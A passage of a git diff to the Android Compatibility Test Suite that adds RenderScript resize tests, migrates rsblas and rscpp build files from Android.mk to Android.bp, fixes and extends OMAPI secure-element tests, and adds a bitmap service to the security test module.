+    public void test_U8_1_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, true);
+        checkError();
+    }
+
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, true);
         checkError();
     }
 
diff --git a/tests/tests/resolverservice/OWNERS b/tests/tests/resolverservice/OWNERS
index 4b9c5eb..978b1b4 100644
--- a/tests/tests/resolverservice/OWNERS
+++ b/tests/tests/resolverservice/OWNERS
@@ -1,4 +1,4 @@
- # Bug component: 24950
+# Bug component: 24950
 kanlig@google.com
 patb@google.com
 chiuwinson@google.com
\ No newline at end of file
diff --git a/tests/tests/resourcesloader/OWNERS b/tests/tests/resourcesloader/OWNERS
index 57228c7..0bccde9 100644
--- a/tests/tests/resourcesloader/OWNERS
+++ b/tests/tests/resourcesloader/OWNERS
@@ -1,4 +1,4 @@
- # Bug component: 568761
+# Bug component: 568761
 rtmitchell@google.com
 chiuwinson@google.com
 toddke@google.com
diff --git a/tests/tests/rsblas/Android.bp b/tests/tests/rsblas/Android.bp
new file mode 100644
index 0000000..d752960
--- /dev/null
+++ b/tests/tests/rsblas/Android.bp
@@ -0,0 +1,66 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsRsBlasTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: ["ctstestrunner-axt"],
+    libs: ["android.test.base.stubs"],
+    jni_libs: ["libbnnmdata_jni"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsRsBlasTestCases-rscript{CtsRsBlasTestCases.srcjar}",
+    ],
+    resource_zips: [
+        ":CtsRsBlasTestCases-rscript{CtsRsBlasTestCases.res.zip}",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+genrule {
+    name: "CtsRsBlasTestCases-rscript",
+    srcs: [
+        "src/**/*.rscript",
+        ":rs_script_api",
+        ":rs_clang_headers",
+    ],
+    tools: [
+        "llvm-rs-cc",
+        "soong_zip",
+    ],
+    out: [
+        "CtsRsBlasTestCases.srcjar",
+        "CtsRsBlasTestCases.res.zip",
+    ],
+    cmd: "for f in $(locations src/**/*.rscript); do " +
+        "  $(location llvm-rs-cc) -Wno-error=deprecated-declarations " +
+        "  -o $(genDir)/res/raw -p $(genDir)/src " +
+        "  -I $$(dirname $$(echo $(locations :rs_script_api) | awk '{ print $$1 }')) " +
+        "  -I $$(dirname $$(echo $(locations :rs_clang_headers) | awk '{ print $$1 }')) $${f}; " +
+        "done && " +
+        "$(location soong_zip) -srcjar -o $(location CtsRsBlasTestCases.srcjar) -C $(genDir)/src -D $(genDir)/src &&" +
+        "$(location soong_zip) -o $(location CtsRsBlasTestCases.res.zip) -C $(genDir)/res -D $(genDir)/res",
+}
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
deleted file mode 100644
index ffe4944..0000000
--- a/tests/tests/rsblas/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsRsBlasTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-LOCAL_JNI_SHARED_LIBRARIES := libbnnmdata_jni
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
-
-LOCAL_RENDERSCRIPT_FLAGS := -Wno-error=deprecated-declarations
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/rscpp/Android.bp b/tests/tests/rscpp/Android.bp
new file mode 100644
index 0000000..b5f8d61
--- /dev/null
+++ b/tests/tests/rscpp/Android.bp
@@ -0,0 +1,65 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsRsCppTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: ["ctstestrunner-axt"],
+    libs: ["android.test.base.stubs"],
+    jni_libs: ["librscpptest_jni"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsRsCppTestCases-rscript{CtsRsCppTestCases.srcjar}",
+    ],
+    resource_zips: [
+        ":CtsRsCppTestCases-rscript{CtsRsCppTestCases.res.zip}",
+    ],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+genrule {
+    name: "CtsRsCppTestCases-rscript",
+    srcs: [
+        "src/**/*.rscript",
+        ":rs_script_api",
+        ":rs_clang_headers",
+    ],
+    tools: [
+        "llvm-rs-cc",
+        "soong_zip",
+    ],
+    out: [
+        "CtsRsCppTestCases.srcjar",
+        "CtsRsCppTestCases.res.zip",
+    ],
+    cmd: "for f in $(locations src/**/*.rscript); do " +
+        "  $(location llvm-rs-cc) -o $(genDir)/res/raw -p $(genDir)/src " +
+        "  -I $$(dirname $$(echo $(locations :rs_script_api) | awk '{ print $$1 }')) " +
+        "  -I $$(dirname $$(echo $(locations :rs_clang_headers) | awk '{ print $$1 }')) $${f}; " +
+        "done && " +
+        "$(location soong_zip) -srcjar -o $(location CtsRsCppTestCases.srcjar) -C $(genDir)/src -D $(genDir)/src &&" +
+        "$(location soong_zip) -o $(location CtsRsCppTestCases.res.zip) -C $(genDir)/res -D $(genDir)/res",
+}
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
deleted file mode 100644
index 8231e41..0000000
--- a/tests/tests/rscpp/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Replace "Example" with your name.
-LOCAL_PACKAGE_NAME := CtsRsCppTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-LOCAL_JNI_SHARED_LIBRARIES := librscpptest_jni
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-include $(LOCAL_PATH)/librscpptest/Android.mk
diff --git a/tests/tests/rscpp/librscpptest/Android.bp b/tests/tests/rscpp/librscpptest/Android.bp
new file mode 100644
index 0000000..fd51cad
--- /dev/null
+++ b/tests/tests/rscpp/librscpptest/Android.bp
@@ -0,0 +1,58 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_library_shared {
+    name: "librscpptest_jni",
+    srcs: [
+        "rs_jni.cpp",
+        "rs_jni_allocation.cpp",
+        "rs_jni_element.cpp",
+        "rs_jni_foreach.cpp",
+        "rs_jni_script.cpp",
+        "rs_jni_type.cpp",
+        "rs_jni_object.cpp",
+        "setelementat.rscript",
+        "primitives.rscript",
+        "instance.rscript",
+        "clear_object.rscript",
+        "foreach.rscript",
+        "fe_all.rscript",
+        "noroot.rscript",
+        "vector.rscript",
+    ],
+    include_dirs: [
+        "frameworks/rs/cpp",
+        "frameworks/rs",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+    ],
+    header_libs: ["jni_headers"],
+    shared_libs: [
+        "libdl",
+        "liblog",
+    ],
+    static_libs: ["libRScpp_static"],
+    sdk_version: "21",
+    stl: "c++_static",
+}
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
deleted file mode 100644
index 41534b7..0000000
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ /dev/null
@@ -1,58 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-LOCAL_MODULE := librscpptest_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    rs_jni.cpp \
-    rs_jni_allocation.cpp \
-    rs_jni_element.cpp \
-    rs_jni_foreach.cpp \
-    rs_jni_script.cpp \
-    rs_jni_type.cpp \
-    rs_jni_object.cpp
-
-LOCAL_SRC_FILES += \
-    setelementat.rscript \
-    primitives.rscript \
-    instance.rscript \
-    clear_object.rscript \
-    foreach.rscript \
-    fe_all.rscript \
-    noroot.rscript \
-    vector.rscript
-
-LOCAL_C_INCLUDES += frameworks/rs/cpp
-LOCAL_C_INCLUDES += frameworks/rs
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-LOCAL_HEADER_LIBRARIES := jni_headers
-LOCAL_SHARED_LIBRARIES := libdl liblog
-LOCAL_STATIC_LIBRARIES := libRScpp_static
-
-LOCAL_SDK_VERSION := 21
-
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
index 53275fd..a53bf88 100644
--- a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
+++ b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
Binary files differ
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
index 5d56ded..484438b 100644
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -288,7 +288,7 @@
             }
 
             if (supportSDReaders()) {
-                assertGreaterOrEqual(eseReaders.size(), 1);
+                assertGreaterOrEqual(sdReaders.size(), 1);
             } else {
                 assertTrue(sdReaders.size() == 0);
             }
@@ -694,6 +694,38 @@
         }
     }
 
+    /** Tests closeChannels API */
+    @Test
+    public void testCloseChannels() {
+        assumeTrue(supportOMAPIReaders());
+        try {
+            waitForConnection();
+            Reader[] readers = seService.getReaders();
+
+            for (Reader reader : readers) {
+                Session session = null;
+                Channel channelA = null;
+                Channel channelB = null;
+                try {
+                    assertTrue(reader.isSecureElementPresent());
+                    session = reader.openSession();
+                    assertNotNull("null session", session);
+                    channelA = session.openLogicalChannel(SELECTABLE_AID, (byte) 0x00);
+                    assertNotNull("Null Channel", channelA);
+                    channelB = session.openLogicalChannel(LONG_SELECT_RESPONSE_AID, (byte) 0x00);
+                    assertNotNull("Null Channel", channelB);
+                    session.closeChannels();
+                    assertFalse("channel is still open", channelA.isOpen());
+                    assertFalse("channel is still open", channelB.isOpen());
+                } finally {
+                    if (session != null) session.close();
+                }
+            }
+        } catch (Exception e) {
+            fail("unexpected exception " + e);
+        }
+    }
+
     /**
      * Verifies TLV data
      * @param tlv
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5838d27..a54ec8e 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@
         "compatibility-common-util-devicesidelib",
         "guava",
         "platform-test-annotations",
+        "sts-device-util",
         "hamcrest-library",
     ],
     libs: [
@@ -60,6 +61,7 @@
         "src/**/*.java",
         "src/**/*.kt",
         "src/android/security/cts/activity/ISecureRandomService.aidl",
+        "aidl/android/security/cts/IBitmapService.aidl",
         "aidl/android/security/cts/IIsolatedService.aidl",
         "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
     ],
@@ -72,7 +74,9 @@
         "sts",
     ],
     certificate: ":security_cts_test_certificate",
+    per_testcase_directory: true,
     data: [
+        ":CtsDeviceInfo",
         ":RolePermissionOverrideTestApp",
     ],
 }
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 17aa9e8..e43d6aa 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -48,6 +48,10 @@
 
         <service android:name="android.security.cts.activity.SecureRandomService"
              android:process=":secureRandom"/>
+
+        <service android:name="android.security.cts.BitmapService"
+                 android:process=":bitmap_service" />
+
         <activity android:name="android.security.cts.MotionEventTestActivity"
              android:label="Test MotionEvent"
              android:exported="true">
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 0000000..b9694c3
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
